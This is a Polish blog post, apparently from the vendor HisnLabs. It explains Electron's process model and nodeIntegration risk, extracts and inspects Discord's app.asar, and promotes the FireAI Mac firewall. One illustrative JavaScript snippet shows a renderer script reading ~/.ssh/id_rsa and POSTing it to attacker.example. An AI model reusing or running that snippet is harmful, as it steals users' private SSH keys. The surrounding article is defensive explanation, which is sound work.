Electron łączy silnik renderujący Chromium ze środowiskiem wykonawczym Node.js, dzięki czemu jedna baza kodu JavaScript może być dostarczana jako aplikacja komputerowa na macOS, Windows i Linux. Slack, Discord, Notion i wiele innych są zbudowane w ten sposób, a przez lata tak było z Microsoft Teams. Wygoda jest prawdziwa. Warto zatem zrozumieć konsekwencję: aplikacja Electron nie jest jednym procesem z jednym poziomem uprawnień, a dołączone do niej źródło nie jest trudne do odczytania.
Dwa procesy, dwa poziomy uprawnień
Każda aplikacja Electron ma proces główny, który uruchamia pełny Node.js z normalnym dostępem do plików na poziomie systemu operacyjnego i siecią, oraz jeden lub więcej procesów renderujących, które wyświetlają zawartość internetową w kontekście Chromium. Własny dokumentacja bezpieczeństwa firmy Electron wyraźnie mówi o ryzyku zatarcia tej granicy: „Najważniejsze jest, aby nie włączać integracji Node.js z żadnym modułem renderującym, który ładuje zdalną zawartość”, ponieważ usuwa to barierę między stroną internetową a systemem operacyjnym. Jego deklarowana poprawka nie polega na „zamiast tego zaufaj treści”, ale na architekturze: trzymaj dostęp do węzła z dala od modułu renderującego i udostępniaj mu tylko celowo wąskie API poprzez wstępnie załadowany skrypt i API contextBridge z włączoną izolacją kontekstu.
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')
const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)Archiwum nie jest tajemnicą: wyodrębnienie prawdziwej aplikacji
Większość aplikacji Electron dostarcza kod JavaScript i HTML w pliku app.asar. Dokumenty firmy Electron bezpośrednio określają, do czego służy ten format: „archiwa są tylko do odczytu”, a połączenie ich w jedno ma na celu „ukrycie kodu źródłowego przed pobieżną inspekcją” – jest to własne sformułowanie, a nie zewnętrzne twierdzenie – jednocześnie stwierdzając wyraźnie w innym miejscu, że ASAR nie zapewnia szyfrowania. Aby sprawdzić, co to oznacza w praktyce, wyodrębniliśmy rzeczywistą, aktualnie zainstalowaną kopię Discorda dla systemu macOS (kompilacja 0.0.294) na tym komputerze, korzystając z własnego pakera Electron.
npm install -g @electron/asar
asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
find ./discord_src -type f | wc -l
1056Jedno polecenie wygenerowało 1056 prostych plików: czytelny JavaScript, package.json i własny układ modułów Discorda, dokładnie tak, jak mówi dokumentacja Electrona. Bez dekompilacji, bez inżynierii wstecznej, bez hasła. To nie jest wada Discorda; tak z założenia działa format ASAR w przypadku każdej aplikacji Electron.
Co prawdziwy wyciąg pokazuje na temat zachowań sieciowych
W przypadku źródła w postaci zwykłego tekstu zarówno kontrola bezpieczeństwa, jak i wyszukiwanie stają się trywialne. Przeszukaliśmy wyodrębnione pliki pod kątem dwóch rzeczy: tego, które preferencje webPreferences faktycznie ustawia Discord i które nazwy hostów pojawiają się w jego własnym kodzie (z wyjątkiem node_modules strony trzeciej).
grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376: nodeIntegration: false,
app_bootstrap/splashScreen.js:379: contextIsolation: true,
grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
12 www.w3.org
3 twitter.com
3 discord.com
2 github.com
1 updates.discord.com
1 reactjs.orgAby być uczciwym w stosunku do konkretnej aplikacji, którą testowaliśmy: okno powitalne Discorda jest dokładnie zgodne z zaleceniami Electrona dotyczącymi hartowania, nodeIntegration: false i contextIsolation: true. Warto to wyraźnie powiedzieć, a nie pominąć. Nie chodzi tu o to, że Discord jest niepewny; chodzi o to, że w ciągu kilku minut moglibyśmy sprawdzić dowolną aplikację Electron, ponieważ format archiwum niczego nie ukrywa. Większość osób instalujących aplikację Electron nigdy tego nie robi, podobnie jak większość narzędzi do statycznych punktów końcowych.
Dlaczego zapora sieciowa oparta na zaufaniu binarnym nie może tutaj pomóc
Żadna z powyższych nazw hostów nie jest tajemnicą ani nie jest zaskakująca, aby aplikacja do czatu mogła do niej dotrzeć, i właśnie na tym polega problem obrony na poziomie sieci. Zapora sieciowa podejmująca decyzję na podstawie podpisu kodu widzi jedną rzecz: poświadczony notarialnie plik binarny podpisany przez firmę Apple wysyłający zwykłe żądania HTTPS na porcie 443. Nie ma możliwości odróżnienia od siebie prawidłowego wywołania interfejsu API, pakietu SDK do analiz oraz, w przypadku rzeczywiście skompromitowanego modułu renderującego, próby eksfiltracji. Wszystkie trzy wyglądają jak ten sam zaufany proces komunikujący się z Internetem, ponieważ są to ten sam proces.
- Ocena aplikacji Electron na podstawie jej podpisu w kodzie nie mówi nic o tym, które z wielu dołączonych do niej zależności tworzą jakie połączenia.
- Ponieważ źródłem jest zwykły JavaScript w niezaszyfrowanym archiwum, kontrola tego, co może osiągnąć aplikacja, jest realistyczna, a nie teoretyczna, dla każdego, kto chce uruchomić
asar extract. - Jedyną kontrolą, która nie zależy od zaufania do pliku binarnego, jest polityka sieciowa dotycząca procesu i miejsca docelowego: decydowanie w gnieździe, do czego dana aplikacja może dotrzeć.
Jaką rolę odgrywają FireAI i HisnLabs
A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.
FireAI to własny produkt HisnLabs: zapora sieciowa z AI działająca bezpośrednio na Macu. Pokazuje prostym językiem każde połączenie nawiązywane przez twoje aplikacje i pozwala ci decydować, co opuszcza twojego Maca — jej AI działa lokalnie, więc twój ruch nigdy nie jest wysyłany do nas ani do nikogo innego. Zespół badań nad bezpieczeństwem HisnLabs dba o to, by te decyzje pozostały trafne: kataloguje, które domeny to zwykła telemetria, a które prawdziwa usługa, śledzi kraj i sieć stojące za połączeniem oraz trenuje lokalny model (funkcję Autopilot) na rzeczywistych wzorcach ruchu — a nic z tego nie opuszcza twojego Maca.
Możesz przeczytać o decyzjach technicznych, które za tym stoją, albo wypróbować FireAI przez 17 dni na FireAI od HisnLabs.
